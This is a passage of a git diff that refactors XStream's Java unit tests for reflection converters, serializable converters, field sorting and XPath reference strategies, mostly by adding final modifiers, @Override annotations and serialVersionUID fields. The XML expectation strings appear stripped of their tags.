= 'a'; @@ -44,118 +46,120 @@ public static class World extends StandardObject { } public void testSerializesAllPrimitiveFieldsInACustomObject() { - World world = new World(); + final World world = new World(); - XStream xstream = new XStream(new XppDriver()); + final XStream xstream = new XStream(DefaultDriver.create()); xstream.alias("world", World.class); - String expected = - "\n" + - " 1\n" + - " 2\n" + - " a\n" + - " w\n" + - " true\n" + - " false\n" + - " 4\n" + - " 5\n" + - " 6\n" + - " 7\n" + - " 8.0\n" + - " 9.0\n" + - " 10\n" + - " 11\n" + - " XStream programming!\n" + - ""; + final String expected = "" + + "\n" + + " 1\n" + + " 2\n" + + " a\n" + + " w\n" + + " true\n" + + " false\n" + + " 4\n" + + " 5\n" + + " 6\n" + + " 7\n" + + " 8.0\n" + + " 9.0\n" + + " 10\n" + + " 11\n" + + " XStream programming!\n" + + ""; assertEquals(expected, xstream.toXML(world)); } public static class TypesOfFields extends StandardObject { + private static final long serialVersionUID = 200504L; String normal = "normal"; transient String trans = "transient"; static String stat = "stat"; } public void testDoesNotSerializeTransientOrStaticFields() { - TypesOfFields fields = new TypesOfFields(); - String expected = "" + - "\n" + - " normal\n" + - ""; + final TypesOfFields fields = new TypesOfFields(); + final String expected = "" // + + "\n" + + " normal\n" + + ""; - XStream xstream = new XStream(new XppDriver()); + final XStream xstream = new XStream(DefaultDriver.create()); xstream.alias("types", TypesOfFields.class); - String xml = xstream.toXML(fields); + final String xml = xstream.toXML(fields); assertEquals(expected, xml); } - + public void testCanBeOverloadedToDeserializeTransientFields() { - XStream xstream = new XStream(new XppDriver()); + final XStream xstream = new XStream(DefaultDriver.create()); xstream.allowTypes(TypesOfFields.class); xstream.alias("types", TypesOfFields.class); - xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream - .getReflectionProvider()) { + xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider()) { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == TypesOfFields.class; } + @Override protected boolean shouldUnmarshalTransientFields() { return true; } }); - String xml = "" + final String xml = "" // + "\n" + " normal\n" + " foo\n" + ""; - TypesOfFields fields = (TypesOfFields)xstream.fromXML(xml); + final TypesOfFields fields = xstream.fromXML(xml); assertEquals("foo", fields.trans); } public void testCustomConverterCanBeInstantiatedAndRegisteredWithDesiredPriority() { - XStream xstream = new XStream(new XppDriver()); + final XStream xstream = new XStream(DefaultDriver.create()); // using default mapper instead of XStream#buildMapper() Mapper mapper = new DefaultMapper(new ClassLoaderReference(new CompositeClassLoader())); // AttributeMapper required by ReflectionConverter mapper = new AttributeMapper(mapper, xstream.getConverterLookup(), xstream.getReflectionProvider()); - Converter converter = new CustomReflectionConverter(mapper, new PureJavaReflectionProvider()); + final Converter converter = new CustomReflectionConverter(mapper, new PureJavaReflectionProvider()); xstream.registerConverter(converter, -20); xstream.alias("world", World.class); - World world = new World(); - - String expected = - "\n" + - " 1\n" + - " 2\n" + - " a\n" + - " w\n" + - " true\n" + - " false\n" + - " 4\n" + - " 5\n" + - " 6\n" + - " 7\n" + - " 8.0\n" + - " 9.0\n" + - " 10\n" + - " 11\n" + - " XStream programming!\n" + - ""; + final World world = new World(); + + final String expected = "" + + "\n" + + " 1\n" + + " 2\n" + + " a\n" + + " w\n" + + " true\n" + + " false\n" + + " 4\n" + + " 5\n" + + " 6\n" + + " 7\n" + + " 8.0\n" + + " 9.0\n" + + " 10\n" + + " 11\n" + + " XStream programming!\n" + + ""; assertEquals(expected, xstream.toXML(world)); } static class CustomReflectionConverter extends ReflectionConverter { - public CustomReflectionConverter(Mapper mapper, ReflectionProvider reflectionProvider) { + public CustomReflectionConverter(final Mapper mapper, final ReflectionProvider reflectionProvider) { super(mapper, reflectionProvider); } } - + } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SerializableConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SerializableConverterTest.java index 22b6b2c55..4fd8d574d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SerializableConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SerializableConverterTest.java @@ -1,26 +1,26 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. July 2007 by Joerg Schaible */ package com.thoughtworks.xstream.converters.reflection; -import com.thoughtworks.acceptance.objects.StandardObject; -import com.thoughtworks.xstream.XStream; - -import junit.framework.TestCase; - import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamField; import java.io.Serializable; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.XStream; + +import junit.framework.TestCase; + /** * @author Jörg Schaible @@ -28,41 +28,41 @@ public class SerializableConverterTest extends TestCase { static class SimpleType extends StandardObject { + private static final long serialVersionUID = 200707L; private String one; private String two; public String getOne() { - return this.one; + return one; } - public void setOne(String one) { + public void setOne(final String one) { this.one = one; } public String getTwo() { - return this.two; + return two; } - public void setTwo(String two) { + public void setTwo(final String two) { this.two = two; } - + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } - private void readObject(final ObjectInputStream in) - throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } } - + public void testCanOmitFieldAtSerialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.alias("simple", SimpleType.class); xstream.omitField(SimpleType.class, "two"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -70,23 +70,23 @@ public void testCanOmitFieldAtSerialization() { + " \n" + " \n" + ""; - - SimpleType simple = new SimpleType(); + + final SimpleType simple = new SimpleType(); simple.setOne("one"); simple.setTwo("two"); - - String xml = xstream.toXML(simple); + + final String xml = xstream.toXML(simple); assertEquals(expected, xml); } - + public void testCanOmitFieldAtDeserialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleType.class); xstream.alias("simple", SimpleType.class); xstream.omitField(SimpleType.class, "two"); xstream.omitField(SimpleType.class, "x"); - - String xml = "" + + final String xml = "" + "\n" + " \n" + " \n" @@ -95,42 +95,42 @@ public void testCanOmitFieldAtDeserialization() { + " \n" + " \n" + ""; - - SimpleType simple = new SimpleType(); + + final SimpleType simple = new SimpleType(); simple.setOne("one"); - - SimpleType serialized = (SimpleType)xstream.fromXML(xml); + + final SimpleType serialized = xstream.fromXML(xml); assertEquals(simple, serialized); } - + static class ExtendedType extends SimpleType { + private static final long serialVersionUID = 200707L; private String three; public String getThree() { - return this.three; + return three; } - public void setThree(String three) { + public void setThree(final String three) { this.three = three; } - + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } - private void readObject(final ObjectInputStream in) - throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } } - + public void testCanOmitInheritedFieldAtSerialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.alias("extended", ExtendedType.class); xstream.alias("simple", SimpleType.class); xstream.omitField(SimpleType.class, "two"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -143,25 +143,25 @@ public void testCanOmitInheritedFieldAtSerialization() { + " \n" + " \n" + ""; - - ExtendedType extended = new ExtendedType(); + + final ExtendedType extended = new ExtendedType(); extended.setOne("one"); extended.setTwo("two"); extended.setThree("three"); - - String xml = xstream.toXML(extended); + + final String xml = xstream.toXML(extended); assertEquals(expected, xml); } - + public void testCanOmitInheritedFieldAtDeserialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleType.class, ExtendedType.class); xstream.alias("extended", ExtendedType.class); xstream.alias("simple", SimpleType.class); xstream.omitField(SimpleType.class, "two"); xstream.omitField(SimpleType.class, "x"); - - String xml = "" + + final String xml = "" + "\n" + " \n" + " \n" @@ -175,64 +175,63 @@ public void testCanOmitInheritedFieldAtDeserialization() { + " \n" + " \n" + ""; - - ExtendedType extended = new ExtendedType(); + + final ExtendedType extended = new ExtendedType(); extended.setOne("one"); extended.setThree("three"); - - SimpleType serialized = (SimpleType)xstream.fromXML(xml); + + final SimpleType serialized = xstream.fromXML(xml); assertEquals(extended, serialized); } public static class SimpleNamedFieldsType extends StandardObject implements Serializable { + private static final long serialVersionUID = 200708L; private String one; private String two; public String getOne() { - return this.one; + return one; } - public void setOne(String one) { + public void setOne(final String one) { this.one = one; } public String getTwo() { - return this.two; + return two; } - public void setTwo(String two) { + public void setTwo(final String two) { this.two = two; } private static final ObjectStreamField[] serialPersistentFields = { - new ObjectStreamField("s1", String.class), - new ObjectStreamField("s2", String.class), - }; + new ObjectStreamField("s1", String.class), new ObjectStreamField("s2", String.class),}; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { // don't call defaultWriteObject() - ObjectOutputStream.PutField fields = out.putFields(); + final ObjectOutputStream.PutField fields = out.putFields(); fields.put("s1", one); fields.put("s2", two); out.writeFields(); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { // don't call defaultReadObject() - ObjectInputStream.GetField fields = in.readFields(); - one = (String) fields.get("s1", "1"); - two = (String) fields.get("s2", "2"); + final ObjectInputStream.GetField fields = in.readFields(); + one = (String)fields.get("s1", "1"); + two = (String)fields.get("s2", "2"); } } - + public void testCanOmitNamedFieldAtSerialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleNamedFieldsType.class); xstream.alias("simple", SimpleNamedFieldsType.class); xstream.omitField(SimpleNamedFieldsType.class, "s2"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -240,23 +239,23 @@ public void testCanOmitNamedFieldAtSerialization() { + " \n" + " \n" + ""; - - SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); + + final SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); simple.setOne("one"); simple.setTwo("two"); - - String xml = xstream.toXML(simple); + + final String xml = xstream.toXML(simple); assertEquals(expected, xml); } - + public void testCanOmitNamedFieldAtDeserialization() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleNamedFieldsType.class); xstream.alias("simple", SimpleNamedFieldsType.class); xstream.omitField(SimpleNamedFieldsType.class, "s2"); xstream.omitField(SimpleNamedFieldsType.class, "x"); - - String xml = "" + + final String xml = "" + "\n" + " \n" + " \n" @@ -265,22 +264,22 @@ public void testCanOmitNamedFieldAtDeserialization() { + " \n" + " \n" + ""; - - SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); + + final SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); simple.setOne("one"); simple.setTwo("2"); - - SimpleNamedFieldsType serialized = (SimpleNamedFieldsType)xstream.fromXML(xml); + + final SimpleNamedFieldsType serialized = (SimpleNamedFieldsType)xstream.fromXML(xml); assertEquals(simple, serialized); } - + public void testCanAliasField() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleType.class); xstream.alias("simple", SimpleType.class); xstream.aliasField("s2", SimpleType.class, "two"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -289,24 +288,24 @@ public void testCanAliasField() { + " \n" + " \n" + ""; - - SimpleType simple = new SimpleType(); + + final SimpleType simple = new SimpleType(); simple.setOne("one"); simple.setTwo("two"); - - String xml = xstream.toXML(simple); + + final String xml = xstream.toXML(simple); assertEquals(expected, xml); - SimpleType serialized = (SimpleType)xstream.fromXML(xml); + final SimpleType serialized = xstream.fromXML(xml); assertEquals(simple, serialized); } public void testCanAliasNamedField() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SimpleNamedFieldsType.class); xstream.alias("simple", SimpleNamedFieldsType.class); xstream.aliasField("two", SimpleNamedFieldsType.class, "s2"); - - String expected = "" + + final String expected = "" + "\n" + " \n" + " \n" @@ -315,38 +314,39 @@ public void testCanAliasNamedField() { + " \n" + " \n" + ""; - - SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); + + final SimpleNamedFieldsType simple = new SimpleNamedFieldsType(); simple.setOne("one"); simple.setTwo("two"); - - String xml = xstream.toXML(simple); + + final String xml = xstream.toXML(simple); assertEquals(expected, xml); - SimpleNamedFieldsType serialized = (SimpleNamedFieldsType)xstream.fromXML(xml); + final SimpleNamedFieldsType serialized = xstream.fromXML(xml); assertEquals(simple, serialized); } - + public static class SerializableType implements Serializable { + private static final long serialVersionUID = 201401L; public Serializable serializable; } - + public void testCanHandleFieldsDeclaredWithSerializableInterface() { - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.allowTypes(SerializableType.class); xstream.alias("sertype", SerializableType.class); xstream.useAttributeFor(SerializableType.class, "serializable"); - - String expected = "" + + final String expected = "" + "\n" + " String\n" + ""; - - SerializableType s = new SerializableType(); + + final SerializableType s = new SerializableType(); s.serializable = "String"; - - String xml = xstream.toXML(s); + + final String xml = xstream.toXML(s); assertEquals(expected, xml); - SerializableType serialized = (SerializableType)xstream.fromXML(xml); + final SerializableType serialized = xstream.fromXML(xml); assertEquals(s.serializable, serialized.serializable); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SortableFieldKeySorterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SortableFieldKeySorterTest.java index 914ef3ddc..73e4d7f11 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SortableFieldKeySorterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SortableFieldKeySorterTest.java @@ -1,20 +1,20 @@ /* - * Copyright (C) 2007, 2016 XStream Committers. + * Copyright (C) 2007, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 10. April 2007 by Guilherme Silveira */ package com.thoughtworks.xstream.converters.reflection; import java.lang.reflect.Field; +import java.util.LinkedHashMap; import java.util.Map; import com.thoughtworks.xstream.converters.ConversionException; -import com.thoughtworks.xstream.core.util.OrderRetainingMap; import junit.framework.TestCase; @@ -22,21 +22,21 @@ public class SortableFieldKeySorterTest extends TestCase { public void testDoesNotAffectUnregisteredTypes() { - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); sorter.registerFieldOrder(Mother.class, new String[]{"field2", "field1"}); sorter.registerFieldOrder(Child.class, new String[]{"field2", "field1"}); - Map originalMap = buildMap(Base.class); - Map map = sorter.sort(Base.class, originalMap); + final Map originalMap = buildMap(Base.class); + final Map map = sorter.sort(Base.class, originalMap); assertEquals(originalMap, map); } public void testIgnoresUnknownFields() { - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); - String[] fieldOrder = new String[]{"whatever", "field2", "field1", "field3"}; + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + final String[] fieldOrder = new String[]{"whatever", "field2", "field1", "field3"}; sorter.registerFieldOrder(Child.class, fieldOrder); - Map originalMap = buildMap(Child.class); - Map map = sorter.sort(Child.class, originalMap); - Field[] fields = (Field[])map.values().toArray(new Field[map.size()]); + final Map originalMap = buildMap(Child.class); + final Map map = sorter.sort(Child.class, originalMap); + final Field[] fields = map.values().toArray(new Field[map.size()]); assertEquals(fieldOrder.length - 1, fields.length); for (int i = 1; i < fieldOrder.length; i++) { assertEquals(fieldOrder[i], fields[i - 1].getName()); @@ -44,36 +44,39 @@ public void testIgnoresUnknownFields() { } public void testComplainsIfSomeFieldIsNotSpecified() { - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); sorter.registerFieldOrder(Base.class, new String[]{"field3"}); try { sorter.sort(Base.class, buildMap(Base.class)); fail(); - } catch (ConversionException ex) { + } catch (final ConversionException ex) { assertEquals(Base.class.getName(), ex.get("sort-type")); } } public void testSortsMapAccordingToDefinedFieldOrder() { - SortableFieldKeySorter sorter = new SortableFieldKeySorter(); - String[] fieldOrder = new String[]{"field2", "field1", "field3"}; + final SortableFieldKeySorter sorter = new SortableFieldKeySorter(); + final String[] fieldOrder = new String[]{"field2", "field1", "field3"}; sorter.registerFieldOrder(Child.class, fieldOrder); - Map originalMap = buildMap(Child.class); - Map map = sorter.sort(Child.class, originalMap); - Field[] fields = (Field[])map.values().toArray(new Field[map.size()]); + final Map originalMap = buildMap(Child.class); + final Map map = sorter.sort(Child.class, originalMap); + final Field[] fields = map.values().toArray(new Field[map.size()]); assertEquals(fieldOrder.length, fields.length); for (int i = 0; i < fieldOrder.length; i++) { assertEquals(fieldOrder[i], fields[i].getName()); } } - private Map buildMap(Class type) { - Map map = new OrderRetainingMap(); - Class cls = type; + private Map buildMap(final Class type) { + final Map map = new LinkedHashMap<>(); + Class cls = type; while (!cls.equals(Object.class)) { - Field[] fields = cls.getDeclaredFields(); + final Field[] fields = cls.getDeclaredFields(); for (int i = 0; i < fields.length; i++) { - Field field = fields[i]; + final Field field = fields[i]; + if (field.isSynthetic() && field.getName().startsWith("$jacoco")) { + continue; + } map.put(new FieldKey(field.getName(), cls, i), field); } cls = cls.getSuperclass(); @@ -85,8 +88,7 @@ static class Base extends Mother { String field3; } - static class Child extends Base { - } + static class Child extends Base {} static class Mother { String field1, field2; diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProviderTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProviderTest.java index 16b6a5155..49678ee0a 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProviderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunLimitedUnsafeReflectionProviderTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * Created on 08. January 2014 by Joerg Schaible, factored out from SunUnsafeReflectionProviderTest @@ -11,6 +11,7 @@ public class SunLimitedUnsafeReflectionProviderTest extends AbstractReflectionPr // inherits tests from superclass + @Override public ReflectionProvider createReflectionProvider() { return new SunLimitedUnsafeReflectionProvider(); } @@ -41,7 +42,7 @@ private WithFinalFields() { } public void testCanWriteFinalFields() { - WithFinalFields thingy = new WithFinalFields(); + final WithFinalFields thingy = new WithFinalFields(); reflectionProvider.writeField(thingy, "finalField", "zero", WithFinalFields.class); assertEquals("zero", thingy.finalField); @@ -84,7 +85,7 @@ public Unistantiatable() { throw new IllegalStateException("ctor"); } - public Unistantiatable(String s) { + public Unistantiatable(final String s) { throw new IllegalStateException("ctor(String)"); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunUnsafeReflectionProviderTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunUnsafeReflectionProviderTest.java index 378416e9a..791b2e3d6 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunUnsafeReflectionProviderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/SunUnsafeReflectionProviderTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. January 2014 by Joerg Schaible, renamed from Sun14RelfectrionProviderTest. */ package com.thoughtworks.xstream.converters.reflection; @@ -15,7 +15,8 @@ public class SunUnsafeReflectionProviderTest extends SunLimitedUnsafeReflectionP // inherits tests from superclass + @Override public ReflectionProvider createReflectionProvider() { return new SunUnsafeReflectionProvider(); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/Base64JavaUtilCodecTest.java b/xstream/src/test/com/thoughtworks/xstream/core/Base64CodecTest.java similarity index 93% rename from xstream/src/test/com/thoughtworks/xstream/core/util/Base64JavaUtilCodecTest.java rename to xstream/src/test/com/thoughtworks/xstream/core/Base64CodecTest.java index c09806f7a..c20ba1564 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/Base64JavaUtilCodecTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/Base64CodecTest.java @@ -1,22 +1,21 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * - * Created on 13. August 2017 Joerg Schaible + * Created on 29. March 2020 by Joerg Schaible, renamed from com.thoughtworks.xstream.core.Base64JavaUtilCodecTest */ -package com.thoughtworks.xstream.core.util; +package com.thoughtworks.xstream.core; import com.thoughtworks.acceptance.AbstractAcceptanceTest; -import com.thoughtworks.xstream.core.StringCodec; -public class Base64JavaUtilCodecTest extends AbstractAcceptanceTest { +public class Base64CodecTest extends AbstractAcceptanceTest { - private StringCodec encoder = new Base64JavaUtilCodec(); + private final StringCodec encoder = new Base64Codec(); public void testEncodesEntireByteArrayAsString() { final byte input[] = "hello world".getBytes(); diff --git a/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByIDMarshallingStrategyTest.java b/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByIDMarshallingStrategyTest.java index 90addea21..023868e5a 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByIDMarshallingStrategyTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByIDMarshallingStrategyTest.java @@ -1,24 +1,25 @@ /* - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2006 by Joerg Schaible */ package com.thoughtworks.xstream.core; +import java.util.ArrayList; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.someobjects.WithNamedList; import com.thoughtworks.xstream.XStream; -import java.util.ArrayList; - public class ReferenceByIDMarshallingStrategyTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.ID_REFERENCES); @@ -27,38 +28,38 @@ protected void setUp() throws Exception { public void testIgnoresImplicitCollection() { xstream.alias("strings", WithNamedList.class); xstream.addImplicitCollection(WithNamedList.class, "things"); - WithNamedList wl = new WithNamedList("foo"); + final WithNamedList wl = new WithNamedList<>("foo"); wl.things.add("Hello"); wl.things.add("Daniel"); - final String expected = "" - + "\n" - + " Hello\n" - + " Daniel\n" - + " foo\n" - + ""; + final String expected = "" + + "\n" + + " Hello\n" + + " Daniel\n" + + " foo\n" + + ""; assertBothWays(wl, expected); } - static class List { - public Object o; - public ArrayList list = new ArrayList(); - } - + static class List { + public Object o; + public ArrayList list = new ArrayList(); + } + public void testIgnoresImplicitCollectionAtAnyFieldPosition() { - final List another = new List(); - another.o = new Object(); - another.list.add(new Object()); - xstream.addImplicitCollection(List.class, "list"); + final List another = new List(); + another.o = new Object(); + another.list.add(new Object()); + xstream.addImplicitCollection(List.class, "list"); xstream.alias("list", List.class); - - final String expected = "" + + final String expected = "" // + "\n" + " \n" + " \n" + ""; - + assertBothWays(another, expected); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByXPathMarshallingStrategyTest.java b/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByXPathMarshallingStrategyTest.java index 2beb9ffb3..e46721e9c 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByXPathMarshallingStrategyTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/ReferenceByXPathMarshallingStrategyTest.java @@ -1,16 +1,23 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. April 2004 by Joe Walnes */ package com.thoughtworks.xstream.core; +import java.lang.reflect.Field; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.XStream; @@ -21,28 +28,24 @@ import com.thoughtworks.xstream.io.path.Path; import com.thoughtworks.xstream.mapper.Mapper; -import java.lang.reflect.Field; -import java.net.MalformedURLException; -import java.net.URL; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; - public class ReferenceByXPathMarshallingStrategyTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("thing", Thing.class); } public static class Thing extends StandardObject { + private static final long serialVersionUID = 200405L; + @SuppressWarnings("unused") private String name; public Thing() { } - public Thing(String name) { + public Thing(final String name) { this.name = name; } } @@ -50,25 +53,25 @@ public Thing(String name) { public void testStoresReferencesUsingRelativeXPath() { xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES); - Thing a = new Thing("a"); - Thing b = new Thing("b"); - Thing c = b; + final Thing a = new Thing("a"); + final Thing b = new Thing("b"); + final Thing c = b; - List list = new ArrayList(); + final List list = new ArrayList(); list.add(a); list.add(b); list.add(c); - String expected = "" + - "\n" + - " \n" + - " a\n" + - " \n" + - " \n" + - " b\n" + - " \n" + - " \n" + // xpath - ""; + final String expected = "" + + "\n" + + " \n" + + " a\n" + + " \n" + + " \n" + + " b\n" + + " \n" + + " \n" // xpath + + ""; assertBothWays(list, expected); } @@ -76,30 +79,30 @@ public void testStoresReferencesUsingRelativeXPath() { public void testStoresReferencesUsingAbsoluteXPath() { xstream.setMode(XStream.XPATH_ABSOLUTE_REFERENCES); - Thing a = new Thing("a"); - Thing b = new Thing("b"); - Thing c = b; + final Thing a = new Thing("a"); + final Thing b = new Thing("b"); + final Thing c = b; - List list = new ArrayList(); + final List list = new ArrayList(); list.add(a); list.add(b); list.add(c); - String expected = "" + - "\n" + - " \n" + - " a\n" + - " \n" + - " \n" + - " b\n" + - " \n" + - " \n" + // xpath - ""; + final String expected = "" + + "\n" + + " \n" + + " a\n" + + " \n" + + " \n" + + " b\n" + + " \n" + + " \n" // xpath + + ""; assertBothWays(list, expected); } - public class CountingXPathStrategy extends ReferenceByXPathMarshallingStrategy{ + public class CountingXPathStrategy extends ReferenceByXPathMarshallingStrategy { public CountingXPathStrategy() { super(ReferenceByXPathMarshallingStrategy.ABSOLUTE); @@ -109,100 +112,97 @@ public CountingXPathStrategy() { public ReferenceByXPathUnmarshaller requestedUnmarshaller; @Override - protected ReferenceByXPathUnmarshaller createUnmarshallingContext(Object root, - HierarchicalStreamReader reader, - ConverterLookup converterLookup, - Mapper mapper) { + protected ReferenceByXPathUnmarshaller createUnmarshallingContext(final Object root, + final HierarchicalStreamReader reader, final ConverterLookup converterLookup, final Mapper mapper) { assertNull("strategy can only make one unmarshaller", requestedUnmarshaller); - requestedUnmarshaller = (ReferenceByXPathUnmarshaller) super.createUnmarshallingContext(root, reader, converterLookup, mapper); + requestedUnmarshaller = (ReferenceByXPathUnmarshaller)super.createUnmarshallingContext(root, reader, + converterLookup, mapper); return requestedUnmarshaller; } @Override - protected ReferenceByXPathMarshaller createMarshallingContext(HierarchicalStreamWriter writer, - ConverterLookup converterLookup, - Mapper mapper) { + protected ReferenceByXPathMarshaller createMarshallingContext(final HierarchicalStreamWriter writer, + final ConverterLookup converterLookup, final Mapper mapper) { assertNull("strategy can only make one marshaller", requestedMarshaller); - requestedMarshaller = (ReferenceByXPathMarshaller) super.createMarshallingContext(writer, converterLookup, mapper); + requestedMarshaller = (ReferenceByXPathMarshaller)super.createMarshallingContext(writer, converterLookup, + mapper); return requestedMarshaller; } } public void testDoNotKeepXPathMapForImmutablesOnMarshall() throws MalformedURLException { - //configure XStream - CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); + // configure XStream + final CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); xstream.setMarshallingStrategy(marshallingStrategy); - //setup document - List list = new ArrayList(); - URL url = new URL("http://jira.codehaus.org/browse"); + // setup document + final List list = new ArrayList(); + final URL url = new URL("http://jira.codehaus.org/browse"); list.add(url); list.add(url); - //act - String serialized = xstream.toXML(list); + xstream.toXML(list); - //assert - ObjectIdDictionary trackedPathsOnMarshal = getReferences(marshallingStrategy.requestedMarshaller); + // assert + final ObjectIdDictionary trackedPathsOnMarshal = getReferences(marshallingStrategy.requestedMarshaller); assertTrue(trackedPathsOnMarshal.containsId(list)); assertEquals(1, trackedPathsOnMarshal.size()); } public void testDoNotKeepXPathMapForImmutablesOnUnmarshall() { - //configure XStream - CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); + // configure XStream + final CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); xstream.setMarshallingStrategy(marshallingStrategy); - //setup document - String document = "" - + "" - + " http://jira.codehaus.org/browse" - + " http://jira.codehaus.org/browse" - + ""; + // setup document + final String document = "" + + "" + + " http://jira.codehaus.org/browse" + + " http://jira.codehaus.org/browse" + + ""; - //act - Object result = xstream.fromXML(document); + xstream.fromXML(document); - //assert - Map trackedPathsOnUnmarshal = getReferences(marshallingStrategy.requestedUnmarshaller); + // assert + final Map 